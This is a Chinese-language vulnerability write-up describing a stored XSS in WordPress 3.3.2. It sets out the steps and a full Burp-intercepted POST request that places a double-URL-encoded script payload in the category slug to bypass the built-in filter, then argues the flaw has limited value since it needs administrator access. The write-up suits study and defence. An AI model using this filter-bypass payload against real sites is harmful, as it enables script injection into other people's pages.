WordPress 3.3.2 版本存在一个基于双字节编码的存储型跨站脚本(XSS)漏洞,能够绕过系统内置的 filter 过滤机制。不过从实际攻击角度而言,该漏洞的利用价值非常有限,具体技术细节如下。
漏洞利用详细步骤
首先,攻击者需要拥有管理员账户,并成功登录后台管理界面。
接着进入“分类”管理页面。在分类名称或别名(slug)字段中填入跨站脚本载荷,并通过 Burp Suite 拦截并修改请求。关键操作在于:输入编码后的 payload %253cscript%253ealert%25281%2529%253c%252fscript%253e,即可直接绕过 WordPress 内置的过滤机制,实现双字节编码解析差异的利用。
Burp 请求数据包示例
完整的 HTTP 请求如下:
POST /wordpress/wp-admin/edit-tags.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Linux i686; rv:11.0) Gecko/20100101 Firefox/11.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Proxy-Connection: keep-alive Referer: https://www.jb51.net/wordpress/wp-admin/edit-tags.php?action=edit&taxonomy=link_category&tag_ID=2&post_type=post Cookie: wordpress_bbfa5b726c6b7a9cf3cda9370be3ee91=admin%7C1335544051%7C197b22093eaefaf6950bd81d6aa6372b; wp-settings-time-1=1335371272; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_bbfa5b726c6b7a9cf3cda9370be3ee91=admin%7C1335544051%7C6ebcb9d0104a37c6d7a91274ac94c6cb Content-Type: application/x-www-form-urlencoded Content-Length: 379 action=editedtag&tag_ID=2&taxonomy=link_category&_wp_original_http_referer=http%3A%2F%2Flocalhost%2Fwordpress%2Fwp-admin%2Fedit-tags.php%3Ftaxonomy%3Dlink_category&_wpnonce=83974d7f8f&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Fedit-tags.php%3Faction%3Dedit%26taxonomy%3Dlink_category%26tag_ID%3D2%26post_type%3Dpost&name=Blogroll&slug=injecthere%253cscript%253ealert%25281%2529%253c%252fscript%253e&description=sectest&submit=Update
关键所在
仔细观察请求中的 slug 参数可以发现,其中包含的 %253cscript%253ealert%25281%2529%253c%252fscript%253e 正是绕过 filter 的核心——它利用了双字节编码解析差异,导致过滤层无法正确识别恶意代码。
为什么说该漏洞利用价值有限?
实际上,WordPress 默认的 filter 过滤机制对管理员账户根本不进行任何过滤,因此不仅限于“分类”功能存在 XSS 问题,后台其他区域同样存在大量跨站漏洞。该漏洞的利用前提是攻击者已经拥有管理员权限,而管理员本身已经可以在后台执行任意操作——因此这一漏洞更多停留在理论层面,真正能够在实际攻击场景中发挥作用的可能性极低。除非配合某些非常规的猥琐用法,否则该漏洞只能作为技术探讨,实际意义不大。
